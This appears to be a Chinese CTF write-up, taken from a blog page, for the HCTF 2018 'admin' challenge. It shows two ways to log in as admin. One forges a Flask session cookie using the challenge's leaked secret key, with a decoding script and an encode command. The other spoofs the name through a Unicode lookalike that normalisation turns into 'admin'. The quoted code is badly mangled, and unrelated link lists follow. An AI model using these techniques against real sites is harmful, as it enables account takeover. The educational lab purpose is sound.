首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“,”change password“这四个界面,根据题目提示的admin,猜测是不是要让我用admin来登录这个网站?然后我在login界面输入用户名”admin“,密码”123“(弱口令)结果猝不及防

喵喵喵???还没开始就结束了?


正确的打开方式:总的来说就是欺骗服务器,假装自己是admin

buu限制发包量, 这里我就不尝试解法3了

解法一:flask session伪造

在"change password"页面发现了提示

https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py
#!/usr/bin/env python
# -*- coding:utf-8 -*- from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code @app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response @app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf') @app.route('/register', methods = ['GET', 'POST'])
def register(): if current_user.is_authenticated:
return redirect(url_for('index')) form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form) @app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index')) form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form) @app.route('/logout')
def logout():
logout_user()
return redirect('/index') @app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form) @app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST': flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit') @app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message) def strlower(username):
username = nodeprep.prepare(username)
return username

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为: eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
print("data=",data," ; timestamp = ",timestamp," ; secret = ",secret)
print(base64_decode(data))
print(base64_decode(timestamp))
print(int.from_bytes(base64_decode(timestamp),byteorder='big'))
print(int.from_bytes(base64_decode(secret),byteorder='big'))

稍微改动后的代码py3

int.from_bytes函数
功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。
函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。
bytes是输入的变量; base64_decode(timestamp)=b'\\\r\xda\xe0'
signed=True表示需要考虑符号位。
举例说明:int_s = int.from_bytes(s, byteorder='little', signed=True),其中s='\xf1\xff',则输出int_s=-15。
分析一下过程,'\x'表示十六进制数,先把'f1'写成二进制数:1111 0001,'ff'同上:1111 1111. #小端法
由于s的高低位标志是'little',即'f1'是低位,'ff'是高位,所以正确的顺序应该是'fff1',即11111111 1111 0001.
又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。
上面的例子中,如果signed=False,则无符号位;
若byteorder='big',则输入s的左边是高位,右边是低位。 #大端法

代码解析

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1) decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception') if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

sessino解密脚本

这里我用的是python2的环境,kali自带的py2貌似默认安装了flask ,而自己安装py3的flask一直装不上Orz

 python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc

https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi
mport os class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

SECRET_KEY

session加密用的是GitHub上的一个脚本,我按照官方给的方法装不上Orz,然后自己git clone了一下,git clone大法好啊

python2 ./flask_session_cookie_manager2.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}"

https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}

index.html

解法二:Unicode欺骗

https://unicode-table.com/en/1D2E/ ,在这个网站上找字符。

1.先注册一个账号 :ᴬᴰᴹᴵᴺ,密码:456

2.修改密码:111,然后退出

3.用账号”admin“,密码:111成功登录

大致的思路是:在注册的时候  ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session['name']=='admin',也就是只要用户名是’admin‘就可成功登录了)


参考资料:

HCTF2018-admin三种解法复现:https://blog.csdn.net/weixin_44677409/article/details/100733581

Python Web之flask session&格式化字符串漏洞:https://xz.aliyun.com/t/3569#toc-0

unicode 欺骗:https://panda1g1.github.io/2018/11/15/HCTF%20admin/

BUUCTF | [HCTF 2018]admin的更多相关文章

  1. [HCTF 2018]admin

    前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,相比是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...

  2. [HCTF 2018]admin wp

    首先打开页面,查看源码 you are not admin考虑是否为需要登录 后发现右上方有个登录 考虑密码爆破,用户名为admin,密码未知 摔进burpsuite后爆破 后得到密码为123 登录得 ...

  3. [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  4. 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup

    攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...

  5. BUUCTF-[HCTF 2018]admin(Unicode欺骗&伪造session)

    目录 方法一:Unicode欺骗 方法二:伪造session 参考文章 记一道flask下session伪造的题. 方法一:Unicode欺骗 拿到题目f12提示you are not admin,显 ...

  6. [HCTF 2018]WarmUp

    靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php     highlight_file(__FILE__) ...

  7. [BUUOJ记录] [HCTF 2018]WarmUp

    BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...

  8. 刷题[HCTF 2018]WarmUp

    解题思路 进入页面之后,一个大大的滑稽. 查看源码 查看源码发现有source.php .打开 发现还有一个hint.php.打开发现 由此可知是代码审计了 解题 代码审计 先看此段代码,大致意思是. ...

  9. warmup(HCTF 2018)

    为啥想写这道题的wp呢,因为这道题就是照着phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)复现出来的 题目 查看源码很容易找到source.php,直接访问 分析 题 ...

随机推荐

  1. Linux下jdk1.6安装指引

    Linux安装JDK步骤1. 先从网上下载jdk(jdk-6u4-linux-x64-rpm.bin) ,推荐SUN的官方网站www.sun.com,下载后放在/home目录中,当然其它地方也行. 进 ...

  2. Python算法每日一题--002--求众数

    给定一个大小为 n 的数组,找到其中的众数.众数是指在数组中出现次数大于 ⌊ n/2 ⌋ 的元素. 你可以假设数组是非空的,并且给定的数组总是存在众数. 示例 1: 输入: [3,2,3]输出: 3示 ...

  3. 单例模式(Singleton Patten)

    顾名思义,单例模式就是只有一个实例,不管怎样,使用了单例模式的类在系统中只有一个对象被访问到.Java中单例模式定义:“一个类有且仅有一个实例,并且这个类会自行实例化,实例化时候的对象可以提供给整个系 ...

  4. jQuery基础--总结

    <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8& ...

  5. UVA1626 括号序列 Brackets sequence(区间dp)

    题目传送门(洛谷)   题目传送门(UVA) 解题思路 很显然是一个区间dp,当然记忆化搜索完全可以AC,这里说一下区间dp. 区间dp的重要特征就是需要枚举中间节点k 看一看这道题,用f[i][j] ...

  6. C# PDF文件转图片

    参考:https://blog.csdn.net/lai124793549/article/details/53392281 https://www.cnblogs.com/xiewei123/p/1 ...

  7. BUUCTF--不一样的flag

    测试文件:https://buuoj.cn/files/91b89e765c9aff8e82690c0868975b37/0bf39b5d-5f2f-4095-a921-fb5c20f53f21.zi ...

  8. BUUCTF--刮开有奖

    文件链接:https://buuoj.cn/files/abe6e2152471e1e1cbd9e5c0cae95d29/8f80610b-8701-4c7f-ad60-63861a558a5b.ex ...

  9. elasticsearch 基础 —— Inner hits

    Inner hits The parent-join and nested 功能允许返回具有不同范围匹配的文档.在父/子案例中,基于子文档中的匹配返回父文档,或者基于父文档中的匹配返回子文档.在嵌套的 ...

  10. TMS320C6455BCTZA 原厂订购 原装正品

    作为一家科研公司,保证芯片的原厂品质和正规采购渠道是科学严谨的研发工作中重要的一环,更是保证研发产品可靠.稳定的基础.而研发中所遇到的各种不可预测的情况更是每个工程师向技术的山峰攀登中时会遇到的各种难 ...